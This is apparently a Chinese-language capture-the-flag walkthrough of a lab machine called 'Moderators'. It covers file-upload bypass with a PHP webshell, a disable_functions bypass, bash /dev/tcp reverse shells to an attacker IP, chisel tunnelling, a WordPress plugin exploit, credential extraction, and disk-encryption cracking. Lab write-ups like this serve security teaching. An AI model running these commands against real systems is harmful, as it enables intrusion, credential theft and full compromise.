记一次对Moderators的渗透测试
字数 1320 2025-08-24 07:48:33
渗透测试实战教学:从文件上传到权限提升
信息收集阶段
1. 端口扫描
使用nmap进行初始探测:
nmap -sV -p- target_ip
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
2. Web应用分析
目标是一个托管服务/漏洞评估提供商网站,包含漏洞测试报告:
- 报告包含主机地址、漏洞类型等敏感信息
- 报告通过ID值访问
3. 目录爆破
使用feroxbuster进行目录枚举:
feroxbuster -u http://target_ip -w /path/to/wordlist.txt
发现重要目录:
- /logs
- /logs/e21cece511f43a5cb18d4932429915ed/ (MD5哈希值目录)
漏洞利用阶段
1. 报告ID枚举
使用wfuzz对报告ID进行模糊测试:
wfuzz -c -z range,1-10000 http://target_ip/report?id=FUZZ
发现有效ID后,生成MD5哈希继续枚举:
echo -n "9798" | md5sum
wfuzz -c -z file,hashes.txt http://target_ip/logs/FUZZ
2. 文件上传漏洞利用
发现上传接口后,绕过限制的技术:
文件上传过滤器绕过方法:
- 修改文件名后缀为
.pdf - 修改Content-Type为
application/pdf - 在文件开头添加PDF魔术字节:
%PDF-
最终上传PHP webshell:
%PDF-
<?php phpinfo(); ?>
上传后验证:
- 检查phpinfo()输出
- 查看disable_functions限制
3. 绕过disable_functions
使用popen函数执行命令:
<?php
error_reporting(E_ALL);
$handle = popen('/bin/ls 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>
4. 获取反向shell
使用curl反弹shell:
curl http://target_ip/uploaded_shell.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/attacker_ip/4444+0>%261"
权限提升阶段
1. 内网服务发现
使用netstat发现本地服务:
netstat -tulnp
发现WordPress运行在8080端口
2. 建立隧道
使用chisel建立SOCKS隧道:
# 攻击机
./chisel server -p 8000 --reverse
# 目标机
./chisel client attacker_ip:8000 R:socks
3. WordPress插件漏洞利用
发现Brandfolder插件漏洞,利用方式:
curl '127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/&cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.17.140/5444+0>%261"'
4. 数据库凭证获取
分析WordPress插件源码pwds-manager.php,发现数据库操作函数:
function pms_db_install() {
global $wpdb;
$table_name = $wpdb->prefix . 'pms_passwords';
$sql1 = "CREATE TABLE $table_name (
pass_id int(11) NOT NULL AUTO_INCREMENT,
user_name varchar(200) NOT NULL,
user_email varchar(200) NOT NULL,
user_password longtext NOT NULL,
category_id int(11) NOT NULL,
note text CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
url longtext NOT NULL,
PRIMARY KEY (pass_id)
)ENGINE=InnoDB DEFAULT CHARSET=latin1";
dbDelta($sql1);
}
登录MySQL数据库:
mysql -u wordpressuser -p'wordpresspassword123!!' wordpress
查询敏感信息:
SELECT user_name, user_email, url FROM wp_pms_passwords;
SELECT user_name, user_password FROM wp_pms_passwords;
5. WordPress管理员密码重置
使用在线工具生成WordPress密码哈希:
- 访问 https://www.useotools.com/es/wordpress-password-hash-generator/
- 生成新密码哈希
更新数据库:
UPDATE `wp_users` SET `user_pass` = '$P$BqTMH6f2/YJmGLjPetfgm3MnNewMhS1' WHERE user_login = 'admin';
6. SSH密钥获取
通过WordPress后台发现SSH私钥,使用它登录:
chmod 600 id_rsa
ssh -i id_rsa lexi@target_ip
高级权限提升
1. VirtualBox虚拟机破解
发现.vbox文件,使用pyvboxdie-cracker工具:
git clone https://github.com/axcheron/pyvboxdie-cracker
python cracker.py -f encrypted.vbox
发现密码:computer
2. LUKS磁盘加密破解
使用bruteforce-luks工具:
./bruteforce-luks-static-linux-amd64 -f wordlist.txt /dev/sda
发现密码:abc123
3. 最终root密码发现
在脚本文件中查找密码:
grep -r pass .
发现密码:
./all-in-one/distro_update.sh:passwd='$_THE_best_Sysadmin Ever '
使用sudo提权:
sudo -l
sudo su
总结技术要点
-
文件上传绕过技术:
- 魔术字节修改
- Content-Type欺骗
- 文件扩展名混淆
-
PHP限制绕过:
- popen函数利用
- 错误输出重定向
-
内网横向移动:
- 端口转发
- SOCKS隧道建立
- 本地服务利用
-
凭证获取技术:
- 数据库直接查询
- 源码分析
- WordPress密码重置
-
加密系统破解:
- VirtualBox加密破解
- LUKS磁盘加密爆破
-
权限提升方法:
- 密码查找
- sudo配置利用
- 脚本文件分析
本案例涵盖了从Web应用到系统层面的完整渗透流程,展示了现代渗透测试中的多种技术组合应用。